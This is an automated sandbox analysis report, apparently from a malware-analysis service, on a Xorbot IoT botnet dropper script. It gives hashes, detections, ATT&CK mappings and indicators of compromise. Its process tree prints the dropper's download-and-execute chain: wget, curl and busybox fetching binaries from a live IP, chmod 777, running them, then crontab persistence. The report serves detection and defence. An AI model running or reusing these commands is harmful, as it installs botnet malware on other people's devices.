xorbot | b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
01/12/2024, 00:45

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General

Target

BNO1X_bins.sh
Size

10KB
MD5

29ec86d77f7675942f8a1012ba9709e4
SHA1

062170abb27a237f8468cd5d69fd32f736fc96fe
SHA256

b0ce3fe8b6465a2323009d188a1d3081ce5a76ae93bf4a2809b9aae99ee2205a
SHA512

e28daec2232ae26a0a3a74cee182927727360e36d90970457ae70679a88e74489ffd9532af8c5293b96b8e9999b5fec788508aa0ec69762a22bd7373068e7636
SSDEEP

192:1Iackckcuc9cBUY/u/xXfgbckckcuc9cBwEnH/T:1Ia/nv0wFW/xXfgb/nv0wfH/T

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1978) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1510	chmod
1517	chmod
1524	chmod
1531	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	1511	ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	1518	f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	1525	GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	1532	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

Renames itself 1 IoCs

pid	Process
1533	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.wXkU2t	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1568/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1602/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1619/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/170/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/208/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1075/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1540/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1548/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1662/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1679/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1695/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1696/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1710/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/81/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1073/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1138/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1588/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1699/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1700/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1701/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/35/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/98/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1572/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1573/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1576/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/17/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1120/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1239/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1678/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1069/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1172/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1580/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1584/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1646/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/249/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/572/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1632/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/19/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/171/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/457/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1577/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1612/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1648/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1652/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1686/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1707/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/476/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/723/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1591/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1675/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1697/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1649/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/9/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/163/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1186/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1552/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1622/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1554/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1630/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/343/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/596/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/1704/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/177/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
File opened for reading	/proc/665/cmdline	Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	wget
File opened for modification	/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	curl
File opened for modification	/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	busybox
File opened for modification	/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	wget
File opened for modification	/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	curl
File opened for modification	/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh	wget
File opened for modification	/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov	busybox
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	wget
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	curl
File opened for modification	/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP	busybox
File opened for modification	/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	curl
File opened for modification	/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk	busybox

/tmp/BNO1X_bins.sh
/tmp/BNO1X_bins.sh
1⤵
PID:1501
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  ./ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  - Executes dropped EXE
  PID:1511
- /bin/rm
  rm ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  ./f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  - Executes dropped EXE
  PID:1518
- /bin/rm
  rm f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  ./GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  - Executes dropped EXE
  PID:1525
- /bin/rm
  rm GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  ./Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1532
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1534
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1535
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1536
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1537
- /bin/rm
  rm Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov
  2⤵
  PID:1539
- /usr/bin/wget
  wget http://216.126.231.240/bins/IvrHV3YvMVIRkzI4QShkFD9UcOhGRVd0sj
  2⤵
  PID:1542

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/GxXWrTka3g0alBilJDr73X9CeNp7GeBsMh

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/Y3uUAyeEohf9YBd7kUKSmgCwJ5hUqnM5ov

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/ch2dnBtp1raG1J0jDBRWvyiu4xEEK1aHcP

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/f8QgRGQhX81fBREjrxVScqa5LeDWidaAEk

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/var/spool/cron/crontabs/tmp.wXkU2t

Filesize
210B

MD5
a1d35c44fca89c8fe8456fc43791091f

SHA1
c5c1cd62c2403da300bf0c5f71427f9eabcbd464

SHA256
4ed1410f95c340f1e2c9d133fccb2ea24f3c5f39deb27d9bc1ed9dfb74b3dd7a

SHA512
0ef9aeab7192e66eba8e205a13815d6941b1737805b3aa345133afba4f9c2defb1851ff646963aaef3e372d331ae6674400b22f7fbe94e120291672d7a611bd3

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads